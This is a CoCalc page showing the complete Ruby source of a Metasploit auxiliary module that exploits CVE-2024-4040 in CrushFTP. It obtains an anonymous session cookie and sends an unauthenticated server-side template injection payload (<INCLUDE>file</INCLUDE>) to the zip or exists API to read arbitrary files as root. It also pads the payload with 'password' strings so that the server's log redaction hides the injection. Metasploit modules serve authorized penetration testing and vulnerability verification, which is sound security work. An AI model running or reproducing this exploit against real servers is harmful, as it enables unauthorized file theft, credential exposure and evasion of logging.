CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/crushftp_fileread_cve_2024_4040.rb
Views: 11777
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
prepend Msf::Exploit::Remote::AutoCheck
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'CrushFTP Unauthenticated Arbitrary File Read',
15
'Description' => %q{
16
This module leverages an unauthenticated server-side template injection vulnerability in CrushFTP < 10.7.1 and
17
< 11.1.0 (as well as legacy 9.x versions). Attackers can submit template injection payloads to the web API without
18
authentication. When attacker payloads are reflected in the server's responses, the payloads are evaluated. The
19
primary impact of the injection is arbitrary file read as root, which can result in authentication bypass, remote
20
code execution, and NetNTLMv2 theft (when the host OS is Windows and SMB egress traffic is permitted).
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'remmons-r7', # MSF Module & Rapid7 Analysis
25
],
26
'References' => [
27
['CVE', '2024-4040'],
28
['URL', 'https://attackerkb.com/topics/20oYjlmfXa/cve-2024-4040/rapid7-analysis']
29
],
30
'Notes' => {
31
'Stability' => [CRASH_SAFE],
32
# The CrushFTP.log file will contain a log of the HTTP requests
33
# Similarly, files in logs/session_logs/ will contain a log of the HTTP requests
34
# The sessions.obj file will temporarily persist details of recent requests
35
'SideEffects' => [IOC_IN_LOGS],
36
'Reliability' => []
37
}
38
)
39
)
40
41
register_options(
42
[
43
Opt::RPORT(8080),
44
OptBool.new('STORE_LOOT', [true, 'Store the target file as loot', false]),
45
OptString.new('TARGETFILE', [true, 'The target file to read. This can be a full path, a relative path, or a network share path (if firewalls permit). Files containing binary data may not be read accurately', 'users/MainUsers/groups.XML']),
46
OptString.new('TARGETURI', [true, 'The URI path to CrushFTP', '/']),
47
OptEnum.new('INJECTINTO', [true, 'The CrushFTP API function to inject into', 'zip', ['zip', 'exists']])
48
]
49
)
50
end
51
52
def check
53
# Unauthenticated requests to WebInterface endpoints should receive a response containing an 'anonymous' user session cookie
54
res_anonymous_check = get_anon_session
55
56
return Msf::Exploit::CheckCode::Unknown('Connection failed - unable to get 404 page response (confirm target and SSL settings)') unless res_anonymous_check
57
58
# Confirm that the response returned a CrushAuth cookie and the status code was 404. If this is not the case, the target is probably not CrushFTP
59
if (res_anonymous_check.code != 404) || !res_anonymous_check.get_cookies.include?('CrushAuth')
60
return Msf::Exploit::CheckCode::Unknown('The application did not return a 404 response that provided an anonymous session cookie')
61
end
62
63
# Extract the CrushAuth anonymous session cookie value using regex
64
crushauth_cookie = res_anonymous_check&.get_cookies&.match(/\d{13}_[A-Za-z0-9]{30}/)
65
66
# The string "password" is included to invoke CrushFTP's sensitive parameter redaction in logs. The injection will be logged as "********"
67
# NOTE: Due to an apparent bug in the way CrushFTP redacts data, if file paths contain ":", some of the injection will be leaked in logs
68
res_template_inject = perform_template_injection(datastore['INJECTINTO'], '{user_name}password', crushauth_cookie)
69
70
return Msf::Exploit::CheckCode::Unknown('Connection failed - unable to get template injection page response') unless res_template_inject
71
72
# Confirm that the "{user_name}" template injection evaluates to "anonymous" in the response. If it does not, the application is not vulnerable
73
unless res_template_inject.body.include?('anonymous')
74
return Msf::Exploit::CheckCode::Safe('Server-side template injection failed - CrushFTP did not evaluate the injected payload')
75
end
76
77
Msf::Exploit::CheckCode::Vulnerable('Server-side template injection successful!')
78
end
79
80
def run
81
# Unauthenticated requests to WebInterface endpoints should receive a response containing an 'anonymous' user session cookie
82
print_status('Fetching anonymous session cookie...')
83
res_anonymous = get_anon_session
84
85
fail_with(Failure::Unknown, 'Connection failed - unable to get 404 page response') unless res_anonymous
86
87
# Confirm that the response returned a CrushAuth cookie and the status code was 404. If this is not the case, the target is probably not CrushFTP
88
if (res_anonymous&.code != 404) || res_anonymous&.get_cookies !~ /CrushAuth=([^;]+;)/
89
fail_with(Failure::Unknown, 'The application did not return a 404 response that provided an anonymous session cookie')
90
end
91
92
# Extract the CrushAuth cookie value from the response 'Set-Cookie' data
93
crushauth_cookie = res_anonymous&.get_cookies&.match(/\d{13}_[A-Za-z0-9]{30}/)
94
95
file_name = datastore['TARGETFILE']
96
97
print_status("Using template injection to read file: #{file_name}")
98
99
# These tags will be used to identify the beginning and end of the file data in the response
100
# The string "_pass_" is prepended to the injection to invoke CrushFTP sensitive parameter redaction in logs. The injection will be logged as "********"
101
# NOTE: Due to an apparent bug in the way CrushFTP redacts data, if file paths contain ":", some of the injection will be leaked in logs
102
file_begin_tag = '_pass_'
103
file_end_tag = 'file-end'
104
105
# Perform the template injection for file read
106
res_steal_file = perform_template_injection(datastore['INJECTINTO'], "#{file_begin_tag}<INCLUDE>#{file_name}</INCLUDE>#{file_end_tag}", crushauth_cookie)
107
108
# Check for failure conditions
109
fail_with(Failure::Unknown, 'Connection failed - unable to perform template injection') unless res_steal_file
110
111
if (res_steal_file&.code != 200) || !(res_steal_file.body.include? file_begin_tag)
112
fail_with(Failure::Unknown, 'The application did not respond as expected - the response did not return a 200 status with file contents in the body')
113
end
114
115
if res_steal_file.body.include? "#{file_begin_tag}<INCLUDE>#{file_name}</INCLUDE>#{file_end_tag}"
116
fail_with(Failure::NotFound, 'The requested file was not found - the target file does not exist or the system cannot read it')
117
end
118
119
# Isolate the file contents in the response by extracting data between the begin and end tags
120
file_data = res_steal_file.body[res_steal_file.body.index(file_begin_tag) + file_begin_tag.length..]
121
file_data = file_data.split(file_end_tag)[0]
122
123
if datastore['STORE_LOOT']
124
store_loot(File.basename(file_name), 'text/plain', datastore['RHOST'], file_data, file_name, 'File read from CrushFTP server')
125
print_good('Stored the file data to loot...')
126
else
127
# A new line is sent before file contents for better readability
128
print_good("File read succeeded! \n#{file_data}")
129
end
130
end
131
132
# A GET request to /WebInterface/ should return a 404 response that contains an 'anonymous' user cookie
133
def get_anon_session
134
send_request_cgi(
135
'method' => 'GET',
136
'uri' => normalize_uri(target_uri.path, 'WebInterface/')
137
)
138
end
139
140
# The 'zip' API function is used here, but any unauthenticated API function that reflects parameter data in the response should work
141
def perform_template_injection(page, payload, cookie)
142
if page == 'zip'
143
send_request_cgi(
144
{
145
'method' => 'POST',
146
'uri' => normalize_uri(target_uri.path, 'WebInterface', 'function/'),
147
'cookie' => "CrushAuth=#{cookie}",
148
'headers' => { 'Connection' => 'close' },
149
'vars_post' => {
150
'command' => 'zip',
151
# This value will be printed in responses to unauthenticated zip requests, resulting in template payload execution
152
'path' => payload,
153
'names' => '/',
154
# The c2f parameter must be the last four characters of the primary session cookie
155
'c2f' => cookie.to_s[-4..]
156
}
157
}
158
)
159
# The 'page' value is "exists"
160
elsif page == 'exists'
161
send_request_cgi(
162
{
163
'method' => 'POST',
164
'uri' => normalize_uri(target_uri.path, 'WebInterface', 'function/'),
165
'cookie' => "CrushAuth=#{cookie}",
166
'headers' => { 'Connection' => 'close' },
167
'vars_post' => {
168
'command' => 'exists',
169
# This value will be printed in responses to "exists" requests, resulting in template payload execution
170
'paths' => payload,
171
# The c2f parameter must be the last four characters of the primary session cookie
172
'c2f' => cookie.to_s[-4..]
173
}
174
}
175
)
176
end
177
end
178
end
179
180